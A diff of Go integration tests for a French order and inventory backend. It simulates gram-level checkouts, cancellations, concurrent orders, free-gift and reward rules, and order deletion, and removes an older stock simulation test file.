|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return cmd.ID, nil
|
||||
}
|
||||
|
||||
func TestSimulation1000g(t *testing.T) {
|
||||
const liv = testUserPrefix + "livreur1000"
|
||||
|
||||
type sc struct {
|
||||
name string
|
||||
run func(t *testing.T)
|
||||
}
|
||||
scenarios := []sc{
|
||||
{"01_grammes_fractionnaires_achat_et_annulation", func(t *testing.T) {
|
||||
for _, q := range []float64{0.5, 0.25, 0.125, 0.1, 0.001, 0.005, 3.333, 2.75, 999.999} {
|
||||
t.Run(fmt.Sprintf("%.3fg", q), func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
u := newTestClient(t, "frac")
|
||||
p, _ := newProduct1000g(t, "frac")
|
||||
id, err := checkout(u, map[int]float64{p: q}, []int{p})
|
||||
if err != nil {
|
||||
t.Fatalf("checkout %.3f g : %v", q, err)
|
||||
}
|
||||
expectNear(t, p, 1000-q, fmt.Sprintf("achat de %.3f g", q))
|
||||
testDB.CancelCommandAtomic(id, u, "test", false)
|
||||
expectNear(t, p, 1000, "annulation")
|
||||
})
|
||||
}
|
||||
}},
|
||||
{"02_huit_fois_0_125g_puis_tout_annuler", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
p, _ := newProduct1000g(t, "x8")
|
||||
var ids []int
|
||||
var users []string
|
||||
for i := 0; i < 8; i++ {
|
||||
u := newTestClient(t, fmt.Sprintf("x8_%d", i))
|
||||
id, err := checkout(u, map[int]float64{p: 0.125}, []int{p})
|
||||
if err != nil {
|
||||
t.Fatalf("checkout : %v", err)
|
||||
}
|
||||
ids, users = append(ids, id), append(users, u)
|
||||
}
|
||||
expectNear(t, p, 999, "8 × 0,125 g vendus")
|
||||
for i, id := range ids {
|
||||
testDB.CancelCommandAtomic(id, users[i], "test", false)
|
||||
}
|
||||
expectNear(t, p, 1000, "8 annulations")
|
||||
}},
|
||||
{"03_mille_ventes_de_1g", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
p, _ := newProduct1000g(t, "x1000")
|
||||
u := newTestClient(t, "x1000")
|
||||
for i := 0; i < 1000; i++ {
|
||||
if _, err := checkout(u, map[int]float64{p: 1}, []int{p}); err != nil {
|
||||
t.Fatalf("vente %d : %v", i+1, err)
|
||||
}
|
||||
}
|
||||
expectNear(t, p, 0, "1000 ventes de 1 g")
|
||||
_, err := testDB.AddToBasket(u, p, 0.001)
|
||||
if err == nil {
|
||||
t.Errorf("❌ ajout de 0,001 g accepté avec un stock à 0")
|
||||
} else {
|
||||
t.Logf("✅ ajout refusé à stock 0 : %v", err)
|
||||
}
|
||||
}},
|
||||
{"04_vendre_exactement_1000g_d_un_coup", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
p, _ := newProduct1000g(t, "all")
|
||||
u := newTestClient(t, "all")
|
||||
if _, err := checkout(u, map[int]float64{p: 1000}, []int{p}); err != nil {
|
||||
t.Fatalf("checkout 1000 g : %v", err)
|
||||
}
|
||||
expectNear(t, p, 0, "1000 g vendus")
|
||||
u2 := newTestClient(t, "all2")
|
||||
if _, err := testDB.AddToBasket(u2, p, 0.001); err == nil {
|
||||
t.Errorf("❌ 0,001 g ajoutable après épuisement")
|
||||
}
|
||||
}},
|
||||
{"05_1000_001g_refuse", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
p, _ := newProduct1000g(t, "over")
|
||||
u := newTestClient(t, "over")
|
||||
if _, err := testDB.AddToBasket(u, p, 1000.001); err == nil {
|
||||
t.Errorf("❌ 1000,001 g accepté")
|
||||
} else {
|
||||
t.Logf("✅ refusé : %v", err)
|
||||
}
|
||||
expectNear(t, p, 1000, "rien vendu")
|
||||
}},
|
||||
{"06_12_clients_x_100g_en_parallele", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
p, _ := newProduct1000g(t, "par100")
|
||||
var users []string
|
||||
for i := 0; i < 12; i++ {
|
||||
u := newTestClient(t, fmt.Sprintf("par100_%d", i))
|
||||
testDB.AddToBasket(u, p, 100)
|
||||
users = append(users, u)
|
||||
}
|
||||
var wg sync.WaitGroup
|
||||
var mu sync.Mutex
|
||||
ok, deadlocks := 0, 0
|
||||
for _, u := range users {
|
||||
wg.Add(1)
|
||||
go func(u string) {
|
||||
defer wg.Done()
|
||||
_, err := testDB.CreateCommandWithAddress(u, "1 rue de test")
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
if err == nil {
|
||||
ok++
|
||||
} else if strings.Contains(err.Error(), "deadlock") {
|
||||
deadlocks++
|
||||
}
|
||||
}(u)
|
||||
}
|
||||
wg.Wait()
|
||||
t.Logf("commandes acceptées=%d, deadlocks=%d", ok, deadlocks)
|
||||
if ok != 10 {
|
||||
t.Errorf("❌ %d commandes de 100 g acceptées, attendu 10", ok)
|
||||
}
|
||||
expectNear(t, p, 0, "stock épuisé en parallèle")
|
||||
}},
|
||||
{"07_50_clients_x_25g_en_parallele", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
p, _ := newProduct1000g(t, "par25")
|
||||
var users []string
|
||||
for i := 0; i < 50; i++ {
|
||||
u := newTestClient(t, fmt.Sprintf("par25_%d", i))
|
||||
testDB.AddToBasket(u, p, 25)
|
||||
users = append(users, u)
|
||||
}
|
||||
var wg sync.WaitGroup
|
||||
var mu sync.Mutex
|
||||
ok := 0
|
||||
for _, u := range users {
|
||||
wg.Add(1)
|
||||
go func(u string) {
|
||||
defer wg.Done()
|
||||
if _, err := testDB.CreateCommandWithAddress(u, "1 rue de test"); err == nil {
|
||||
mu.Lock()
|
||||
ok++
|
||||
mu.Unlock()
|
||||
}
|
||||
}(u)
|
||||
}
|
||||
wg.Wait()
|
||||
if ok != 40 {
|
||||
t.Errorf("❌ %d commandes de 25 g acceptées, attendu 40", ok)
|
||||
} else {
|
||||
t.Logf("✅ 40 commandes acceptées sur 50")
|
||||
}
|
||||
expectNear(t, p, 0, "1000 g vendus")
|
||||
}},
|
||||
{"08_ventes_et_annulations_en_parallele", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
p, _ := newProduct1000g(t, "mix")
|
||||
type o struct {
|
||||
u string
|
||||
id int
|
||||
}
|
||||
var orders []o
|
||||
for i := 0; i < 20; i++ {
|
||||
u := newTestClient(t, fmt.Sprintf("mixa_%d", i))
|
||||
id, err := checkout(u, map[int]float64{p: 10}, []int{p})
|
||||
if err != nil {
|
||||
t.Fatalf("checkout : %v", err)
|
||||
}
|
||||
orders = append(orders, o{u, id})
|
||||
}
|
||||
var buyers []string
|
||||
for i := 0; i < 20; i++ {
|
||||
u := newTestClient(t, fmt.Sprintf("mixb_%d", i))
|
||||
testDB.AddToBasket(u, p, 10)
|
||||
buyers = append(buyers, u)
|
||||
}
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < 20; i++ {
|
||||
wg.Add(2)
|
||||
go func(x o) { defer wg.Done(); testDB.CancelCommandAtomic(x.id, x.u, "test", false) }(orders[i])
|
||||
go func(u string) { defer wg.Done(); testDB.CreateCommandWithAddress(u, "1 rue de test") }(buyers[i])
|
||||
}
|
||||
wg.Wait()
|
||||
expectNear(t, p, expectedFromOrders(t, p), "20 annulations + 20 ventes simultanées")
|
||||
}},
|
||||
{"09_offre_10g_achetes_1g_offert", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
p, cat := newProduct1000g(t, "gift")
|
||||
restore := enableFreeGift(t, cat, 10, 1)
|
||||
defer restore()
|
||||
u := newTestClient(t, "gift")
|
||||
id, err := checkout(u, map[int]float64{p: 10}, []int{p})
|
||||
if err != nil {
|
||||
t.Fatalf("checkout : %v", err)
|
||||
}
|
||||
expectNear(t, p, 989, "10 g achetés + 1 g offert")
|
||||
testDB.CancelCommandAtomic(id, u, "test", false)
|
||||
expectNear(t, p, 1000, "annulation : 11 g rendus")
|
||||
}},
|
||||
{"10_offre_qui_depasse_le_stock", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
p, cat := newProduct1000g(t, "giftover")
|
||||
restore := enableFreeGift(t, cat, 995, 10)
|
||||
defer restore()
|
||||
u := newTestClient(t, "giftover")
|
||||
_, err := testDB.AddToBasket(u, p, 995)
|
||||
if err == nil {
|
||||
t.Errorf("❌ 995 g + 10 g offerts acceptés avec 1000 g en stock")
|
||||
} else {
|
||||
t.Logf("✅ refusé : %v", err)
|
||||
}
|
||||
expectNear(t, p, 1000, "rien vendu")
|
||||
}},
|
||||
{"11_offre_ajouts_successifs_dans_le_panier", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
p, cat := newProduct1000g(t, "giftadd")
|
||||
restore := enableFreeGift(t, cat, 10, 1)
|
||||
defer restore()
|
||||
u := newTestClient(t, "giftadd")
|
||||
testDB.AddToBasket(u, p, 5)
|
||||
testDB.AddToBasket(u, p, 5)
|
||||
var qty float64
|
||||
testDB.GDB.Raw(`SELECT quantity::float8 FROM baskets WHERE username = ? AND product_id = ?`, u, p).Scan(&qty)
|
||||
t.Logf("panier après 5 g + 5 g : %.3f g (offre non déclenchée car chaque ajout < 10 g)", qty)
|
||||
testDB.CreateCommandWithAddress(u, "1 rue de test")
|
||||
expectNear(t, p, 1000-qty, "stock déduit de la quantité réelle du panier")
|
||||
}},
|
||||
{"12_recompense_et_achat_meme_produit_au_gramme", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
p, _ := newProduct1000g(t, "rew")
|
||||
u := newTestClient(t, "rew")
|
||||
testDB.GDB.Exec(`INSERT INTO baskets (username, product_id, quantity, price, is_reward, reward_pool_key, created_at)
|
||||
VALUES (?, ?, 1.5, 0, true, 'pool_0', NOW())`, u, p)
|
||||
id, err := checkout(u, map[int]float64{p: 998.5}, []int{p})
|
||||
if err != nil {
|
||||
t.Fatalf("checkout : %v", err)
|
||||
}
|
||||
expectNear(t, p, 0, "998,5 g payés + 1,5 g récompense")
|
||||
testDB.CancelCommandAtomic(id, u, "test", false)
|
||||
expectNear(t, p, 1000, "annulation")
|
||||
}},
|
||||
{"13_recompense_qui_fait_depasser_le_stock", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
p, _ := newProduct1000g(t, "rewover")
|
||||
u := newTestClient(t, "rewover")
|
||||
testDB.GDB.Exec(`INSERT INTO baskets (username, product_id, quantity, price, is_reward, reward_pool_key, created_at)
|
||||
VALUES (?, ?, 2, 0, true, 'pool_0', NOW())`, u, p)
|
||||
testDB.AddToBasket(u, p, 999)
|
||||
_, err := testDB.CreateCommandWithAddress(u, "1 rue de test")
|
||||
if err == nil {
|
||||
t.Errorf("❌ 999 g + 2 g récompense acceptés")
|
||||
} else {
|
||||
t.Logf("✅ refusé : %v", err)
|
||||
}
|
||||
expectNear(t, p, 1000, "transaction annulée, rien déduit")
|
||||
}},
|
||||
{"14_commande_multi_produits_suppression_article_puis_annulation", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
a, _ := newProduct1000g(t, "ma")
|
||||
b, _ := newProduct1000g(t, "mb")
|
||||
u := newTestClient(t, "multi")
|
||||
id, err := checkout(u, map[int]float64{a: 12.5, b: 7.25}, []int{a, b})
|
||||
if err != nil {
|
||||
t.Fatalf("checkout : %v", err)
|
||||
}
|
||||
expectNear(t, a, 987.5, "A : 12,5 g")
|
||||
expectNear(t, b, 992.75, "B : 7,25 g")
|
||||
var itemA int
|
||||
testDB.GDB.Raw(`SELECT id FROM command_items WHERE command_id = ? AND product_id = ?`, id, a).Scan(&itemA)
|
||||
testDB.DeleteCommandItem(id, itemA)
|
||||
expectNear(t, a, 1000, "article A retiré")
|
||||
simAdminStatus(t, id, "cancelled")
|
||||
expectNear(t, a, 1000, "A après annulation (pas de double remboursement)")
|
||||
expectNear(t, b, 1000, "B après annulation")
|
||||
}},
|
||||
{"15_suppressions_simultanees_du_meme_article", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
p, _ := newProduct1000g(t, "delpar")
|
||||
u := newTestClient(t, "delpar")
|
||||
id, _ := checkout(u, map[int]float64{p: 40}, []int{p})
|
||||
var item int
|
||||
testDB.GDB.Raw(`SELECT id FROM command_items WHERE command_id = ?`, id).Scan(&item)
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < 5; i++ {
|
||||
wg.Add(1)
|
||||
go func() { defer wg.Done(); testDB.DeleteCommandItem(id, item) }()
|
||||
}
|
||||
wg.Wait()
|
||||
expectNear(t, p, 1000, "5 suppressions simultanées du même article")
|
||||
}},
|
||||
{"16_suppression_article_et_annulation_simultanees", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
p, _ := newProduct1000g(t, "delcancel")
|
||||
u := newTestClient(t, "delcancel")
|
||||
id, _ := checkout(u, map[int]float64{p: 40}, []int{p})
|
||||
var item int
|
||||
testDB.GDB.Raw(`SELECT id FROM command_items WHERE command_id = ?`, id).Scan(&item)
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(3)
|
||||
go func() { defer wg.Done(); testDB.DeleteCommandItem(id, item) }()
|
||||
go func() { defer wg.Done(); testDB.CancelCommandByAdminAtomic(id) }()
|
||||
go func() { defer wg.Done(); testDB.DeleteCommandAtomic(id, "admin", "admin") }()
|
||||
wg.Wait()
|
||||
expectNear(t, p, 1000, "suppression article + annulation + suppression commande en même temps")
|
||||
}},
|
||||
{"17_admin_fixe_le_stock_pendant_des_ventes", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
p, _ := newProduct1000g(t, "setpar")
|
||||
var users []string
|
||||
for i := 0; i < 10; i++ {
|
||||
u := newTestClient(t, fmt.Sprintf("setpar_%d", i))
|
||||
testDB.AddToBasket(u, p, 10)
|
||||
users = append(users, u)
|
||||
}
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(1)
|
||||
go func() { defer wg.Done(); testDB.SetProductStock(p, 1000) }()
|
||||
for _, u := range users {
|
||||
wg.Add(1)
|
||||
go func(u string) { defer wg.Done(); testDB.CreateCommandWithAddress(u, "1 rue de test") }(u)
|
||||
}
|
||||
wg.Wait()
|
||||
got := productStock(t, p)
|
||||
sold := 1000 - expectedFromOrders(t, p)
|
||||
t.Logf("ℹ️ stock final=%.3f g, vendu=%.3f g : la valeur « fixer à 1000 » écrase les ventes passées avant elle (comportement voulu d'un inventaire)", got, sold)
|
||||
}},
|
||||
{"18_deux_produits_ordre_inverse_en_parallele", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
a, _ := newProduct1000g(t, "da")
|
||||
b, _ := newProduct1000g(t, "db")
|
||||
type job struct {
|
||||
u string
|
||||
order []int
|
||||
}
|
||||
var jobs []job
|
||||
for i := 0; i < 20; i++ {
|
||||
u := newTestClient(t, fmt.Sprintf("dl_%d", i))
|
||||
order := []int{a, b}
|
||||
if i%2 == 1 {
|
||||
order = []int{b, a}
|
||||
}
|
||||
for _, pid := range order {
|
||||
testDB.AddToBasket(u, pid, 5)
|
||||
}
|
||||
jobs = append(jobs, job{u, order})
|
||||
}
|
||||
var wg sync.WaitGroup
|
||||
var mu sync.Mutex
|
||||
ok, deadlocks := 0, 0
|
||||
for _, j := range jobs {
|
||||
wg.Add(1)
|
||||
go func(j job) {
|
||||
defer wg.Done()
|
||||
_, err := testDB.CreateCommandWithAddress(j.u, "1 rue de test")
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
if err == nil {
|
||||
ok++
|
||||
} else if strings.Contains(err.Error(), "deadlock") {
|
||||
deadlocks++
|
||||
}
|
||||
}(j)
|
||||
}
|
||||
wg.Wait()
|
||||
if deadlocks > 0 {
|
||||
t.Errorf("❌ %d/20 commandes refusées pour deadlock alors que le stock suffit (A puis B vs B puis A)", deadlocks)
|
||||
} else {
|
||||
t.Logf("✅ 20/20 commandes acceptées")
|
||||
}
|
||||
expectNear(t, a, expectedFromOrders(t, a), "A cohérent avec les commandes")
|
||||
expectNear(t, b, expectedFromOrders(t, b), "B cohérent avec les commandes")
|
||||
}},
|
||||
{"19_cycle_de_vie_aleatoire_60_commandes", func(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
p, _ := newProduct1000g(t, "fuzz")
|
||||
rng := rand.New(rand.NewSource(42))
|
||||
qtys := []float64{0.5, 1, 2.5, 3.333, 5, 10, 0.125, 0.001, 7.75, 20}
|
||||
type o struct {
|
||||
u string
|
||||
id int
|
||||
}
|
||||
var orders []o
|
||||
for i := 0; i < 60; i++ {
|
||||
u := newTestClient(t, fmt.Sprintf("fuzz_%d", i))
|
||||
id, err := checkout(u, map[int]float64{p: qtys[rng.Intn(len(qtys))]}, []int{p})
|
||||
if err != nil {
|
||||
t.Fatalf("checkout : %v", err)
|
||||
}
|
||||
orders = append(orders, o{u, id})
|
||||
}
|
||||
var wg sync.WaitGroup
|
||||
actions := map[string]int{}
|
||||
for _, x := range orders {
|
||||
a := rng.Intn(8)
|
||||
names := []string{"client_annule", "admin_annule", "livreur_annule", "livree_approuvee", "article_supprime", "commande_supprimee", "rien", "admin_rouvre_apres_annulation"}
|
||||
actions[names[a]]++
|
||||
setStatus(t, x.id, "assigned", liv)
|
||||
wg.Add(1)
|
||||
go func(x o, a int) {
|
||||
defer wg.Done()
|
||||
switch a {
|
||||
case 0:
|
||||
testDB.CancelCommandAtomic(x.id, x.u, "test", true)
|
||||
case 1:
|
||||
testDB.CancelCommandByAdminAtomic(x.id)
|
||||
case 2:
|
||||
testDB.CancelDeliveryByLivreurAtomic(x.id)
|
||||
case 3:
|
||||
testDB.GDB.Exec(`UPDATE commandes SET status = 'livre' WHERE id = ?`, x.id)
|
||||
testDB.ApproveDeliveryAtomicByStaff(x.id, "staff")
|
||||
testDB.CancelDeliveryByLivreurAtomic(x.id)
|
||||
case 4:
|
||||
var item int
|
||||
testDB.GDB.Raw(`SELECT id FROM command_items WHERE command_id = ?`, x.id).Scan(&item)
|
||||
testDB.DeleteCommandItem(x.id, item)
|
||||
case 5:
|
||||
testDB.DeleteCommandAtomic(x.id, "admin", "admin")
|
||||
case 7:
|
||||
testDB.CancelCommandByAdminAtomic(x.id)
|
||||
testDB.UpdateCommandStatus(x.id, "pending")
|
||||
testDB.CancelCommandByAdminAtomic(x.id)
|
||||
}
|
||||
}(x, a)
|
||||
}
|
||||
wg.Wait()
|
||||
t.Logf("actions : %v", actions)
|
||||
expectNear(t, p, expectedFromOrders(t, p), "stock = 1000 − commandes encore actives")
|
||||
}},
|
||||
}
|
||||
|
||||
for _, s := range scenarios {
|
||||
t.Run(s.name, s.run)
|
||||
}
|
||||
}
|
||||
|
||||
func enableFreeGift(t *testing.T, category string, buy, free float64) func() {
|
||||
t.Helper()
|
||||
before, err := testDB.GetSettings()
|
||||
if err != nil {
|
||||
t.Fatalf("GetSettings : %v", err)
|
||||
}
|
||||
s := before
|
||||
s.FreeGiftsEnabled = true
|
||||
s.FreeGifts = []models.CategoryFreeGiftConfig{{Category: category, AllProducts: true, Tiers: []models.FreeGiftTier{{BuyQuantity: buy, FreeQuantity: free}}}}
|
||||
if err := testDB.UpdateSettings(s); err != nil {
|
||||
t.Fatalf("UpdateSettings : %v", err)
|
||||
}
|
||||
return func() { testDB.UpdateSettings(before) }
|
||||
}
|
||||
@@ -204,58 +204,22 @@ func TestDeleteCommandAtomic_DoesNotRefundAlreadyCancelledOrApprovedOrder(t *tes
|
||||
}
|
||||
}
|
||||
|
||||
// Sécurité: une commande déjà "livre" ou "approved" (preuve de transaction)
|
||||
// ne doit jamais pouvoir être supprimée physiquement, quel que soit le rôle
|
||||
// appelant (admin ou cabine) — seule une annulation logique reste possible.
|
||||
// La commande et son stock restent donc intacts.
|
||||
func TestDeleteCommandAtomic_RejectsDeliveredOrder(t *testing.T) {
|
||||
// Régression: une commande "livrée" (marchandise déjà sortie du stock au
|
||||
// checkout, remise au client) ne doit pas voir son stock remboursé lors
|
||||
// d'une suppression — symétrique à CancelCommandByAdminAtomic qui exclut
|
||||
// déjà "livre" de son remboursement.
|
||||
func TestDeleteCommandAtomic_DoesNotRefundDeliveredOrder(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "delete_admin_livre")
|
||||
productID := newTestProduct(t, "DeleteAdminLivre", 5)
|
||||
cmdID := newTestCommandWithItem(t, username, "livre", "", productID, 4, 40)
|
||||
|
||||
if err := testDB.DeleteCommandAtomic(cmdID, "admin_test", "admin"); err == nil {
|
||||
t.Fatal("la suppression d'une commande 'livre' doit être refusée")
|
||||
if err := testDB.DeleteCommandAtomic(cmdID, "admin_test", "admin"); err != nil {
|
||||
t.Fatalf("DeleteCommandAtomic: %v", err)
|
||||
}
|
||||
|
||||
if got := productStock(t, productID); got != 5 {
|
||||
t.Errorf("stock ne doit pas bouger pour une suppression refusée: got=%.2f want=5", got)
|
||||
}
|
||||
if got := commandStatus(t, cmdID); got != "livre" {
|
||||
t.Errorf("la commande ne doit pas être touchée: got status=%s want=livre", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDeleteCommandAtomic_RejectsApprovedOrder(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "delete_admin_approved")
|
||||
productID := newTestProduct(t, "DeleteAdminApproved", 5)
|
||||
cmdID := newTestCommandWithItem(t, username, "approved", "", productID, 4, 40)
|
||||
|
||||
if err := testDB.DeleteCommandAtomic(cmdID, "admin_test", "admin"); err == nil {
|
||||
t.Fatal("la suppression d'une commande 'approved' doit être refusée")
|
||||
}
|
||||
|
||||
if got := productStock(t, productID); got != 5 {
|
||||
t.Errorf("stock ne doit pas bouger pour une suppression refusée: got=%.2f want=5", got)
|
||||
}
|
||||
var count int64
|
||||
testDB.GDB.Raw(`SELECT COUNT(*) FROM commandes WHERE id = ?`, cmdID).Scan(&count)
|
||||
if count != 1 {
|
||||
t.Errorf("la commande ne doit pas être supprimée: got=%d lignes restantes want=1", count)
|
||||
}
|
||||
}
|
||||
|
||||
// Appelé par un rôle "cabine" : même refus qu'un admin, le contrôle est au
|
||||
// niveau DB et ne dépend pas du rôle.
|
||||
func TestDeleteCommandAtomic_RejectsApprovedOrder_EvenForCabine(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
username := newTestClient(t, "delete_cabine_approved")
|
||||
productID := newTestProduct(t, "DeleteCabineApproved", 5)
|
||||
cmdID := newTestCommandWithItem(t, username, "approved", "", productID, 4, 40)
|
||||
|
||||
if err := testDB.DeleteCommandAtomic(cmdID, "cabine_test", "cabine"); err == nil {
|
||||
t.Fatal("la suppression d'une commande 'approved' doit être refusée pour cabine aussi")
|
||||
t.Errorf("stock ne doit pas être remboursé pour une commande déjà livrée: got=%.2f want=5", got)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,389 +0,0 @@
|
||||
package tests
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"gestion/handlers"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strconv"
|
||||
"sync"
|
||||
"testing"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
// Simulations bout en bout du stock contre la base du lab.
|
||||
// Convention : chaque produit démarre à 10 en stock.
|
||||
|
||||
func simCheckout(t *testing.T, username string, productID int, qty float64) int {
|
||||
t.Helper()
|
||||
if _, err := testDB.AddToBasket(username, productID, qty); err != nil {
|
||||
t.Fatalf("AddToBasket: %v", err)
|
||||
}
|
||||
cmd, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
|
||||
if err != nil {
|
||||
t.Fatalf("checkout: %v", err)
|
||||
}
|
||||
return cmd.ID
|
||||
}
|
||||
|
||||
func simAdminStatus(t *testing.T, cmdID int, status string) int {
|
||||
t.Helper()
|
||||
body, _ := json.Marshal(map[string]string{"status": status})
|
||||
req := httptest.NewRequest(http.MethodPut, "/x", bytes.NewReader(body))
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
rec := httptest.NewRecorder()
|
||||
c, _ := gin.CreateTestContext(rec)
|
||||
c.Request = req
|
||||
c.Set("database", testDB)
|
||||
c.Set("role", "admin")
|
||||
c.Set("username", testUserPrefix+"admin")
|
||||
c.Params = gin.Params{{Key: "id", Value: strconv.Itoa(cmdID)}}
|
||||
handlers.UpdateCommandStatusAdmin(c)
|
||||
return rec.Code
|
||||
}
|
||||
|
||||
func simLivreurStatus(t *testing.T, cmdID int, livreur, status string) int {
|
||||
t.Helper()
|
||||
body, _ := json.Marshal(map[string]any{"status": status, "latitude": 48.85, "longitude": 2.35})
|
||||
req := httptest.NewRequest(http.MethodPut, "/x", bytes.NewReader(body))
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
rec := httptest.NewRecorder()
|
||||
c, _ := gin.CreateTestContext(rec)
|
||||
c.Request = req
|
||||
c.Set("database", testDB)
|
||||
c.Set("role", "livreur")
|
||||
c.Set("username", livreur)
|
||||
c.Params = gin.Params{{Key: "id", Value: strconv.Itoa(cmdID)}}
|
||||
handlers.UpdateDeliveryStatus(c)
|
||||
return rec.Code
|
||||
}
|
||||
|
||||
func setStatus(t *testing.T, cmdID int, status, livreur string) {
|
||||
t.Helper()
|
||||
testDB.GDB.Exec(`UPDATE commandes SET status = ?, livreur_assign = NULLIF(?, '') WHERE id = ?`, status, livreur, cmdID)
|
||||
}
|
||||
|
||||
func redeemed(t *testing.T, username, pool string) int {
|
||||
t.Helper()
|
||||
var n int
|
||||
testDB.GDB.Raw(`SELECT COALESCE((points_redeemed->>?)::int, 0) FROM clients WHERE username = ?`, pool, username).Scan(&n)
|
||||
return n
|
||||
}
|
||||
|
||||
func expectStock(t *testing.T, productID int, want float64, why string) {
|
||||
t.Helper()
|
||||
if got := productStock(t, productID); got != want {
|
||||
t.Errorf("❌ stock=%.0f, attendu=%.0f — %s", got, want, why)
|
||||
} else {
|
||||
t.Logf("✅ stock=%.0f — %s", got, why)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSimulationStock(t *testing.T) {
|
||||
type scenario struct {
|
||||
name string
|
||||
run func(t *testing.T, user string, pid int)
|
||||
}
|
||||
const liv = testUserPrefix + "livreur"
|
||||
|
||||
scenarios := []scenario{
|
||||
{"01_checkout_decremente", func(t *testing.T, u string, p int) {
|
||||
simCheckout(t, u, p, 3)
|
||||
expectStock(t, p, 7, "commande de 3")
|
||||
}},
|
||||
{"02_panier_ne_reserve_pas", func(t *testing.T, u string, p int) {
|
||||
testDB.AddToBasket(u, p, 4)
|
||||
expectStock(t, p, 10, "ajout panier sans commande")
|
||||
}},
|
||||
{"03_panier_cumule_au_dela_du_stock", func(t *testing.T, u string, p int) {
|
||||
_, e1 := testDB.AddToBasket(u, p, 6)
|
||||
_, e2 := testDB.AddToBasket(u, p, 6)
|
||||
t.Logf("ajout 6 : err=%v, ajout 6 : err=%v (panier=12 pour stock 10)", e1, e2)
|
||||
_, err := testDB.CreateCommandWithAddress(u, "1 rue de test")
|
||||
if err == nil {
|
||||
t.Errorf("❌ checkout de 12 accepté avec 10 en stock")
|
||||
} else {
|
||||
t.Logf("✅ checkout refusé : %v", err)
|
||||
}
|
||||
expectStock(t, p, 10, "checkout refusé, rien ne bouge")
|
||||
}},
|
||||
{"04_annulation_client", func(t *testing.T, u string, p int) {
|
||||
id := simCheckout(t, u, p, 3)
|
||||
testDB.CancelCommandAtomic(id, u, "test", false)
|
||||
expectStock(t, p, 10, "client annule")
|
||||
}},
|
||||
{"05_double_annulation_client", func(t *testing.T, u string, p int) {
|
||||
id := simCheckout(t, u, p, 3)
|
||||
testDB.CancelCommandAtomic(id, u, "test", false)
|
||||
_, err := testDB.CancelCommandAtomic(id, u, "test", false)
|
||||
t.Logf("2e annulation : %v", err)
|
||||
expectStock(t, p, 10, "double annulation client")
|
||||
}},
|
||||
{"06_admin_annule", func(t *testing.T, u string, p int) {
|
||||
id := simCheckout(t, u, p, 3)
|
||||
simAdminStatus(t, id, "cancelled")
|
||||
expectStock(t, p, 10, "admin annule")
|
||||
}},
|
||||
{"07_admin_annule_rouvre_annule", func(t *testing.T, u string, p int) {
|
||||
id := simCheckout(t, u, p, 3)
|
||||
simAdminStatus(t, id, "cancelled")
|
||||
if code := simAdminStatus(t, id, "pending"); code != http.StatusConflict {
|
||||
t.Errorf("❌ réouverture cancelled→pending acceptée : HTTP %d", code)
|
||||
}
|
||||
simAdminStatus(t, id, "cancelled")
|
||||
expectStock(t, p, 10, "réouverture refusée, ré-annulation sans effet")
|
||||
}},
|
||||
{"08_admin_rouvre_puis_livre", func(t *testing.T, u string, p int) {
|
||||
id := simCheckout(t, u, p, 3)
|
||||
simAdminStatus(t, id, "cancelled")
|
||||
simAdminStatus(t, id, "pending")
|
||||
simAdminStatus(t, id, "approved")
|
||||
if st := commandStatus(t, id); st != "cancelled" {
|
||||
t.Errorf("❌ statut final=%s, attendu=cancelled", st)
|
||||
}
|
||||
expectStock(t, p, 10, "commande annulée : ni réouverture ni approbation")
|
||||
}},
|
||||
{"09_admin_annule_commande_livre", func(t *testing.T, u string, p int) {
|
||||
id := simCheckout(t, u, p, 3)
|
||||
setStatus(t, id, "livre", liv)
|
||||
simAdminStatus(t, id, "cancelled")
|
||||
expectStock(t, p, 7, "admin annule une commande déjà livrée")
|
||||
}},
|
||||
{"10_admin_annule_commande_approved", func(t *testing.T, u string, p int) {
|
||||
id := simCheckout(t, u, p, 3)
|
||||
setStatus(t, id, "approved", liv)
|
||||
simAdminStatus(t, id, "cancelled")
|
||||
expectStock(t, p, 7, "admin annule une commande approuvée")
|
||||
}},
|
||||
{"11_admin_approved_vers_pending_puis_annule", func(t *testing.T, u string, p int) {
|
||||
id := simCheckout(t, u, p, 3)
|
||||
setStatus(t, id, "approved", liv)
|
||||
if code := simAdminStatus(t, id, "pending"); code != http.StatusConflict {
|
||||
